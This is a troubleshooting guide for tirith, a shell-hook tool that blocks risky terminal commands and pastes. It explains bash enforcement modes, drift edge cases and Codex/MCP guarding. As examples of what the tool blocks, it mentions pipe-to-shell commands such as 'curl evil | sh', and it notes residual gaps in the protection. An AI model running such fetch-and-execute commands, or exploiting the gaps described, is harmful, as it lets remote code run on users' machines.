# Troubleshooting

## Shell hooks not loading

Run `tirith doctor` to see the hook directory being used and whether hooks were materialized from the embedded binary.

If hooks are not found:
1. Ensure `tirith` is in your PATH
2. Run `eval "$(tirith init)"` and check for error messages (if you use multiple shells, prefer `tirith init --shell bash|zsh|fish`)
3. Set `TIRITH_SHELL_DIR` to point to your shell hooks directory explicitly

## Brew upgrade applied but behavior did not change

If `brew` reports a newer version but `tirith --version` is older, or shell behavior looks unchanged:

```bash
which -a tirith
brew info tirith
hash -r
```

Then refresh materialized hooks and restart shell:

```bash
rm -rf ~/.local/share/tirith/shell
exec zsh   # or exec bash / restart terminal
```

## Wrong `tirith` binary on PATH

An unrelated Python package named `tirith` exists on PyPI. If an AI agent or script runs `pip install tirith`, that package lands in `~/.local/bin/tirith` and may shadow the Rust binary.

Symptoms: `tirith init` produces a Python traceback mentioning `autobahn`, `asyncio`, or `tirith monitor`.

`tirith doctor` and `tirith init` will warn automatically if they detect a conflicting binary. To check manually:

```bash
which -a tirith        # list all tirith binaries on PATH
file $(which tirith)   # should say "Mach-O" or "ELF", not "Python script"
```

Fix: remove the Python package and clear the shell hash:

```bash
pip uninstall tirith
hash -r
```

## Bash: Enter mode vs preexec mode

tirith supports two bash integration modes:
- **enter mode** (default outside SSH): Binds to Enter key via `bind -x`. Intercepts commands and paste before execution. Includes startup health gate and runtime self-healing that auto-degrade to preexec if failures are detected.
- **preexec mode**: Uses `DEBUG` trap. Warn-only by default. Can be upgraded to real blocking via `shopt -s extdebug` + `return 1` from the DEBUG trap; opt in with `TIRITH_BASH_PREEXEC_ENFORCE=1`.

Set via: `export TIRITH_BASH_MODE=enter` or `export TIRITH_BASH_MODE=preexec` (set before `tirith init` in your shell rc)

### Preexec enforcement (`TIRITH_BASH_PREEXEC_ENFORCE`)

Set `export TIRITH_BASH_PREEXEC_ENFORCE=1` in your `.bashrc` (before `tirith init`) to get real blocking in preexec mode. Values `1`, `true`, `yes`, `on` all enable it; unset or `0` keeps today's warn-only behavior.

Enforcement needs a trustworthy whole-line view of each typed command, which bash provides through `history 1`. A few common bash settings break that guarantee, and the hook refuses to engage enforcement in those shells — it stays in warn-only and prints the reason once at startup. Specifically:

| Setting | Effect | Why enforcement cannot use it |
|---|---|---|
| `HISTCONTROL` containing `ignorespace`, `ignoredups`, or `ignoreboth` | Bash skips or merges history entries | `history 1` may return a stale line that no longer matches `BASH_COMMAND` |
| `HISTIGNORE=...` | Matching commands are dropped from history | Same: a drifted entry would let composite rules like `curl \| sh` slip |
| `set +o history` | No entries recorded at all | Nothing to check against |

If any of these are set when the hook loads, you'll see:

```
tirith: cannot enable preexec enforcement in this shell (HISTCONTROL/HISTIGNORE or disabled history prevent trustworthy whole-line view). Running in warn-only. For guaranteed blocking, use enter mode (export TIRITH_BASH_MODE=enter).
```

Either remove the hostile setting, use enter mode, or accept warn-only.

#### What Phase 1 handles vs what it doesn't

Phase 1 enforcement uses a narrow-but-honest drift check: bash's `BASH_COMMAND` (the current simple command) must word-boundary-match somewhere inside `history 1` (the typed line). Cosmetic spacing differences — `ls -l >/dev/null` vs `ls -l > /dev/null` — are bridged by a whitespace-normalised retry and a command-name fallback, so they do **not** trigger drift.

The following are explicitly **not** handled in Phase 1; any shell that relies on them triggers a runtime drift detection and downgrades the session to warn-only with a clear message:

- Alias expansion (`alias ll='ls -l'`; typing `ll ...` expands to `ls -l ...` which no longer matches the typed line)
- Process substitution (`diff <(...) <(...)`)
- Command substitution (`foo "$(bar)"`)
- `eval`'d strings

If you use any of these heavily, prefer enter mode for guaranteed blocking.

#### Known residual: late drift on filtered shells

If the install-time check passed but drift develops mid-session (e.g. the user switched to `HISTCONTROL=ignorespace` after sourcing), the hook detects it on the next DEBUG fire and downgrades to warn-only. The drift-triggering command is blocked, the session flips, and the rest of the *same typed line* is also blocked because the cache key is `BASH_LINENO[0]` (a per-typed-line identifier) — not `history 1`'s entry index, which can stall in filtered shells. Subsequent prompts get a fresh evaluation under warn-only.

One narrow residual remains: if a pipeline's *first* simple command happens to word-boundary-match the stale history line AND that stale line's verdict is allow, the first segment runs before drift is noticed on a later segment. The later segment is then blocked and the session is downgraded. In a pipe-to-interpreter attack (`curl evil | sh`), `curl` may fetch the payload but `sh` does not run it; the downstream sink is still blocked. Use enter mode if you need guaranteed line-level blocking.

#### `extdebug` side effects

When enforcement is enabled, the hook enables `shopt -s extdebug`. This:

- Changes the default behavior of `BASH_ARGC` / `BASH_ARGV` (they become populated by default).
- Makes `declare -F` include source file and line numbers.
- Interacts with `set -E` (errtrace) so `ERR` traps are inherited by shell functions.

If any of these matter for your workflow, set `TIRITH_BASH_PREEXEC_ENFORCE=0` or use enter mode. Once enabled, `extdebug` stays on for the life of the shell session, even if the session later degrades to warn-only (disabling it inside the DEBUG trap would break the `return 1` skip semantic).

### Chained DEBUG traps

If you have your own `DEBUG` trap installed before sourcing the tirith hook, the hook wraps it in a trampoline and both run on every command. Your trap's return value is ignored by the trampoline; tirith's return value is authoritative. If your trap depends on caller-local state, the wrap may not reproduce behavior perfectly — opt out with `TIRITH_BASH_PREEXEC_ENFORCE=0` in that case.

### Checking live state with `tirith doctor`

`tirith doctor` reports bash state on two separate lines so requested configuration and live hook state are legible even when they disagree (e.g. after a mid-session degrade):

```
  requested mode:       preexec          ← from TIRITH_BASH_MODE env var
  requested enforce:    off              ← from TIRITH_BASH_PREEXEC_ENFORCE
  require-enter:        off              ← from TIRITH_BASH_REQUIRE_ENTER
  bash mode:            preexec          ← live, exported by the hook
  effective protection: warn-only        ← live, exported by the hook
  safe mode:            off              ← persistent enter-mode-failure flag
```

If you see `bash hook: not loaded in this process`, the hook did not run in the shell that invoked `doctor` — typically because `doctor` was called from a non-interactive subshell. Source the hook in your `.bashrc` and open a new interactive shell.

### First-use preexec banner

On the first command it intercepts in an interactive bash session, the preexec hook prints a one-line reminder:

```
tirith: bash is in preexec mode (warn-only, does not block)
  For guaranteed blocking use enter mode (export TIRITH_BASH_MODE=enter)
```

This is intentional: preexec mode cannot stop a command once bash has committed to running it. The banner fires once per shell, on the first intercepted command.

### Persistent safe mode

If enter mode detects a failure (bind-x not taking effect, PROMPT_COMMAND delivery broken, etc.), it automatically degrades to preexec and writes a persistent flag at `~/.local/state/tirith/bash-safe-mode`. All subsequent shells will start in preexec until you explicitly re-enable enter mode.

To re-enable enter mode after an auto-degrade:

```bash
# Option 1: CLI reset
tirith doctor --reset-bash-safe-mode

# Option 2: explicit override in your .bashrc (before tirith init)
export TIRITH_BASH_MODE=enter
```

### DEBUG trap ownership

In preexec mode (including after auto-degrade from enter mode), tirith sets the `DEBUG` trap. This is the same behavior used by default in SSH sessions. If you have custom `DEBUG` traps in your shell configuration, they will be overridden when tirith is in preexec mode.

## Bash: no visible input after `ssh` / `gcloud compute ssh`

tirith automatically defaults to preexec mode when `SSH_CONNECTION`, `SSH_TTY`, or `SSH_CLIENT` is set. If you still see input issues, force preexec explicitly:

```bash
export TIRITH_BASH_MODE=preexec
eval "$(tirith init --shell bash)"
```

This avoids `bind -x` enter interception in environments where PTY handling is fragile.

## PowerShell: PSReadLine conflicts

If using PSReadLine, ensure the tirith hook loads after PSReadLine initialization. The hook overrides `PSConsoleHostReadLine` to intercept pastes.

## Fish: clipboard paste scope

The fish hook intercepts pastes through `fish_clipboard_paste` (covering Ctrl+V and Ctrl+Y emacs/custom bindings), which is what the vast majority of fish users hit. It does **not** currently wrap fish's terminal-level bracketed-paste path (`__fish_paste`). If you rely on terminal-initiated bracketed paste and want it scanned too, use a shell with enter-mode support (bash 5+/zsh) for those sessions, or track the request in [issue #4](https://github.com/sheeki03/tirith/issues/4).

## Latency

tirith's Tier 1 fast path (no URLs detected) targets <2ms. If you notice latency:

1. Run `tirith check --format json -- "your command"` and check `timings_ms`
2. If Tier 1 is slow, check for extremely long command strings
3. Policy file loading (Tier 2) adds ~1ms. Use `tirith doctor` to see policy paths

## False positives

If a command is incorrectly blocked or warned:
1. Run `tirith why` to see which rule triggered
2. Add the URL to your allowlist: `~/.config/tirith/allowlist`
3. Override the rule severity in policy.yaml: `severity_overrides: { rule_id: LOW }`

## Policy discovery

tirith searches for policy in this order:
1. `TIRITH_POLICY_ROOT` env var → `$TIRITH_POLICY_ROOT/.tirith/policy.yaml` (or `.yml`)
2. Walk up from CWD looking for `.tirith/policy.yaml` (or `.yml`)
3. `~/.config/tirith/policy.yaml` (or `.yml`) (user-level)

Use `tirith doctor` to see which policy files are active.

## Warp terminal: silent blocking

Warp terminal handles `/dev/tty` output differently than traditional terminals. tirith auto-detects Warp and uses stderr instead, but if block/warn messages aren't showing:

```bash
# Add to your ~/.zshrc or ~/.bashrc
export TIRITH_OUTPUT=stderr
```

This forces tirith to output to stderr instead of `/dev/tty`, which Warp displays correctly.

## Codex: MCP protected, but direct shell commands still run

Symptom: MCP tool calls are blocked correctly, but a direct command like
`curl ... | bash` still executes in Codex.

Cause: Codex has two execution paths. MCP gateway covers MCP `tools/call`, but
native `/bin/zsh -lc` execution does not pass through MCP.

Fix: Follow `mcp/clients/codex.md` and ensure both are configured:
1. Codex MCP gateway registration (`codex mcp add ...`)
2. `~/.zshenv` guard for all non-interactive `zsh -lc` runs (`ZSH_EXECUTION_STRING`)

The recommended Codex guard is intentionally fail-closed: if `tirith check`
returns an unexpected non-zero code, the command is blocked for safety.

Then run:

```bash
scripts/codex-upgrade-smoke.sh --config ~/.config/tirith/gateway.yaml
```

If it reports unguarded tool names, add those names to `guarded_tools.pattern`
in your gateway YAML and rerun the script.

## Unexpected tirith exit codes

Tirith uses a **mixed fail-safe policy** for unexpected exit codes (crashes, OOM-kills, missing binary). The policy balances safety against terminal usability:

- **Bash enter mode**: Auto-degrades to preexec on unexpected tirith exit code. The current command is not executed; subsequent commands go through preexec warn-only mode. Recoverable via `tirith doctor --reset-bash-safe-mode` or `export TIRITH_BASH_MODE=enter`.
- **Zsh / Fish / PowerShell**: Warns and executes on unexpected exit code. A diagnostic message is printed so you know protection is degraded. The terminal never breaks.
- **All paste paths**: Fail-closed — discards paste on any unexpected exit code. Safe because you can re-paste.

Expected exit codes: `0` (allow), `1` (block), `2` (warn). Anything else is treated as unexpected.

## Audit log location

Default: `~/.local/share/tirith/log.jsonl` (XDG-compliant)

Each entry is a JSON line with timestamp, action, rule IDs, and redacted command.
